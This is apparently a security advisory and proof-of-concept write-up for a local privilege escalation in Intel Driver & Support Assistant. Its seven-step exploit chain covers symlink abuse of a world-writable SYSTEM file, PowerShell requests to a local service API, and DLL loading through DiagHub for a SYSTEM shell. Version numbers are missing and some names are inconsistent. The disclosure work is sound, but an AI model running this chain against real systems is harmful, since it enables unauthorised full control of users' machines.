Intel Driver & Support Assistant (DSA) LPE

Product Intel Driver & Support Assistant (DSA) and Intel Computing Improvement Program
Severity High
CVE Reference CVE-2018-12148, CVE- 2018-12168
Type Local Privilege Escalation


Intel Driver & Support Assistant (DSA) is a Freeware application by Intel that checks for updates for Intel drivers and tools.

It contained a Local Privilege Escalation vulnerability that would allow a local attacker or malware to escalate their privileges from user to system. This vulnerability was patched in version

The same root cause was also identified in 'Intel Computing Improvement Program' for versions before


An attacker or malicious process could exploit this vulnerability locally to escalate their privileges to NT/SYSTEM.
The CVSS V3 Vector assigned to this vulnerability is AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H and a score of 7.8.


While the 'Intel(R) SUR QC SA' service is running it may create the file %ProgramData%\Intel\SharedData\SDID. This file is created by the NT/SYSTEM user and is created with the permissions granting all users full control of the file.

 Image 1 SDID permissions2

A local attacker as any authenticated user can remove the SSID file and create a symlink allowing for arbitrary file creation (with any name) with System permissions while still allowing any user to modify the file once created. 


This vulnerability was patched in  Intel(R) Driver and Support Assistant before and Intel(R) Computing Improvement Program before version

The solution in both cases prevents non administrators from writing to the file.


An arbitrary file creation and write primitive makes it trivial to gain code execution as system. One approach might be to replace the content of the file created by the Intel application with a malicious DLL and getting a system service/process to load that DLL.
The simplest way to load a DLL as system is to utilise a feature of the 'Microsoft (R) Diagnostics Hub Standard Collector Service' to load a malicious DLL from the system32 directory.

Step 1: Remove the File

Before we can create a symlink we need to remove the SSID file and anything else in the same folder.

rm "C:\ProgramData\Intel\SharedData\*"

Step 2: Create Symlink

Next we need to create a symlink.

To do this without administrator rights we first need to create a Mount Point such that 'C:\ProgramData\Intel\SharedData\' points to the "\RPC Control\" object directory. We then create a Symlink such that "\RPC Control\SSID" points to "\\?\C:\Windows\System32\evilDll.dlll"

To do this we can use James Forshaw's symboliclink-testing-tools (

CreateSymlink.exe C:\ProgramData\Intel\SharedData\SDID C:\Windows\System32\evilDll.dll

Step 3: Start Service

The service that creates the file is not always running and thus we will need to start it. Thankfully this service can be started by any authenticated user:

Start-Service -Name "Intel(R) SUR QC SAM"

Step 4: Trigger file creation

The service does not automatically create the file, so we need to trigger the file creation. From reverse engineering the service we found the code that is responsible for the creation of the file and that it can be triggered using a couple of HTTP requests to a locally listening server.

$headers = New-Object "System.Collections.Generic.Dictionary[[String],[String]]"
$headers.Add("Origin", "http://localhost")
$params1 = "0`r`n"
$params2 = '{"assetId": "ef1526ef-396a-4eb3-9869-79ec77c3715b","type": "WindowsApplication","name": "Intel(R) Computing Improvement Program", "custom_data": {"SURVersion": "2.1.03638"}}'
$port = Get-Content -Path "C:\ProgramData\Intel\SUR\QUEENCREEK\Updater\AppData\web_server_port.txt"
$uri1 = "$port/api/v2/api_lock"
$uri2 = "$port/api/v2/updates"
Invoke-WebRequest -Uri $uri1 -Method PUT -Body $params -ContentType "application/json" -Headers $headers
Invoke-WebRequest -Uri $uri2 -Method POST -Body $params2 -ContentType "application/json" -Headers $headers

Step 5: Stop Service

Once the file has been created we need to stop service so it closes the file.

Stop-Service -Name "Intel(R) SUR QC SAM"

Step 6: Replace file with evil DLL content

The contents of the DLL can now be modified to contain malicious code that will be executed as System when it is loaded.

In this PoC we built a simple DLL that will spawn cmd.exe when loaded.

Step 7: Load DLL

For this PoC we decided to load the DLL using a nifty trick by getting the Windows Service ''Microsoft (R) Diagnostics Hub Standard Collector Service" (DiagHub) to load it for us. The details of this technique can be found in a blog post by James Forshaw (

Here we modified James' code to launch our evilDLL which results in a System shell being spawned.

Image 4 System Shell



Date Summary
03/07/2018 Reported bug via hackerone and email to intel PSIRT
03/07/2018 Response saying they have passed the report to the aproprate application team
09/07/2018 Full working exploit provided via hackerone
13/07/2018 Emailed intel PSIRT with full details and working exploit
13/07/2018 Product team confirm vulnerabiltiy and that it affects multiple products
31/07/2018 CVE assigned
11/09/2018 Vulnerability patached and Intel Advisory issued

Further Information